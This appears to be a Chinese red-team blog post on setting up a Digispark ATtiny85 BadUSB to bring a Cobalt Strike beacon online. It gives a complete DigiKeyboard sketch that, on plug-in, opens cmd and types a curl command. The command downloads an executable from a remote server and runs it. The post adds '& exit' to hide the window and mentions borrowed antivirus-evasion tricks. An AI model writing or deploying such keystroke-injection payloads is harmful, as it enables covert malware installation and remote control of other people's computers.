RedTeaming-Badusb配置踩坑

致谢&参考

https://www.freebuf.com/articles/system/261020.html

https://blog.csdn.net/sxhexin/article/details/87914649

https://www.anquanke.com/post/id/227477

https://www.freebuf.com/articles/system/261020.html

Badusb 插入上线cobalt strike

准备工作

ATtiny85 开发板、arduino IDE下载https://www.arduino.cc/en/Main/Softwaredigispark。暂时先不要装驱动!!驱动有大坑。

看freeebuf里面的教程装完驱动,烧录完只能执行一次,需要更新下固件才可以重复使用,后面会提到。

环境配置

打开IDE,在文件->首选项中加入附加开发板管理,附加开发板管理网址处写

http://digistump.com/package_digistump_index.json

注意,这里需要翻墙,后面添加开发板下载相关配置时也需要翻墙,现在就翻着 别断了。

添加开发板

IDE中-工具-开发板管理,类型-contributed/贡献,选择


然后选安装(翻墙)

安装好后,选择这个16.5mhz的开发板。

更新 boot loader

更新 BootLoader的教程看 https://blog.csdn.net/sxhexin/article/details/87914649,这里不再赘述,跟着这个教程走没问题的,如果你之前有装相关驱动,请把驱动卸载干净!!!

更新BootLoader是因为避免踩烧录完只能运行一次的坑!!

BootLoader是大坑,一定要好好弄!

编写代码

有兴趣一步步走的可以写个测试代码 cmd弹个窗什么的,我这里一步到位,直接远程加载exe。

对于cs 可以生成powershell,然后cmd里面powershell加载调用直接上线。

使用CMD远程下载可执行文件

我选择用cmd的原因是因为 我还不会powershell免杀(2333)

所以 探索了下 如何类似Linux执行多条命令,发现在Windows cmd下是and符号&。

执行命令的代码框架如下:

#include "DigiKeyboard.h"//库文件
void setup() {
// setup函数只运行一次
DigiKeyboard.delay(2000);//等待两秒,给电脑自动加载配置时间
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//摁住WIN键
DigiKeyboard.delay(300);//等待300毫秒
DigiKeyboard.println("cmd");//输入CMD
DigiKeyboard.delay(300);
DigiKeyboard.println("curl http://12xxxx0/calc.exe > E:\calc.exe & E:\calc.exe");//执行PAYLOAD,双引号需要斜杠转义
}
void loop() {
}

注意,在最后一个注释处,是在前面语句打开cmd黑框的情况下,在cmd中输入的语句。两个反斜杠是为了转义。

我的思路是,将可执行exe文件上传至服务器,通过curl的方式下载并重定向至某个驱动器并执行。

我本来想放到C盘,但是放到C盘,有可能存在权限问题(放在C:\Windows\Temp)目录下也有些问题,于是放到了D/E盘。

将上述代码在IDE中输入后ctrl+u上传,然后插入attiny85


一定是先拔出来,出现这个 60seconds的时候插进去,出现下面这一串代表写入成功 并且会自动执行一次。

然后拔出来 再插进去的时候 就有弹计算器的效果了。(小思考,如何在执行完exe后自动关闭cmd黑框?)

效果如下:

CMD上线CS

嫖来了大佬的免杀方法2333 试一下exe上线cs


小思考的答案是:命令后跟& exit;

1 Like